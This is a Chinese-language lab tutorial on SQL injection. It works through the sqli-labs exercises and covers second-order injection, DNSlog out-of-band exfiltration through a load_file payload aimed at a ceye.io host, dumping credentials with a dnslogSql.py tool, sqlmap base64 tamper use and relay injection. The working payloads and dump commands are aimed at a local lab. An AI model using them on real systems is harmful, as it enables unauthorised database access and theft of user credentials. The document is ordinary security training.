#sql注入之二次注入
1.注入原理
二次注入可以理解為,構造惡意數據存儲在數據庫后,惡意數據被讀取並進入到了SQL查詢語句所導致的注入。惡意數據插入到數據庫時被處理的數據又被還原並存儲在數據庫中,當Web程序調用存儲在數據庫中的惡意數據並執行SQL查詢時,就發生了SQL二次注入。
二次注入可分為兩步:
第一步:插入惡意數據
進行數據庫插入數據時,對其中的特殊字符進行了轉義處理,在寫入數據庫的時候又保留了原來的數據。
第二步:引用惡意數據
開發者默認存入數據庫的數據都是安全的,在進行查詢時,直接從數據庫中取出惡意數據,沒有進行進一步的檢驗處理。
2.靶場演示
sqlilabs第24關
發現默認用戶為admin密碼未知
嘗試新建一個用戶admin'#進行二次注入
查看數據庫,已經添加成功
登陸admin'#
可以修改密碼,我們查看此頁面的網站源碼,發現更新用戶密碼的sql語句如圖:
我們修改用戶admin'#的密碼的SQL語句為:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
注釋掉后面的語句,就變成了修改用戶admin的密碼了,而admin'#用戶密碼沒有改變。
#DNSlog帶外注入
1.帶外注入原理
帶外注入是為了解決一些注入沒有回顯,也不能進行時間盲注的情況。也就是利用其他的協議或渠道,如http請求、DNS解析、SMB服務等京數據帶出。
2.靶場演示
首先在http://ceye.io/注冊一個賬號,記錄以下信息
使用sqlilabs第9關進行演示
不會顯示任何信息:
構造pylaod:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 and if ((select load_file(concat('\\\\',(select version()),'.xxxx.ceye.io\abc'))),1,0)--+
在平台上查看返回的值:
3.工具使用
工具地址 :https://github.com/adooo/dnslogsqlinj
需要使用python27環境
首先需要修改配置文件:
使用語句如下:
獲取數據庫名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs 獲取數據庫security下的表名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables 獲取users表的列名: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns 獲取uses表中的數據: python dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
#sql注入加解密
小伙伴們可能會碰到有的url中有base64編碼或者其他編碼,在此類注入時我們需要先夠造注入語句再進行轉碼,最后得到的編碼再注入。
sqlmap中有相應的插件,可使用語句:
sqlmap -u http://xxxx.com/index.php?id=MQ== --tamper base64encode.py –dbs
或者進行中轉注入。
#中轉注入
大體意思就是將傳參用base64編碼,再與url進行拼接。在開啟htt服務用sqlmap或其他工具進行測試這個文件即可.
首先構造文件:
大體意思就是將傳參用base64編碼,再與url進行拼接。
其中base64_decode()函數是將傳入的參數進行base64編碼。
file_get_contents()函數是用來將文件的內容讀入到一個字符串中的首選方法。
例如sqlmap:
python sqlmap.py -u "http://127.0.0.1/test.php?x=" -v 3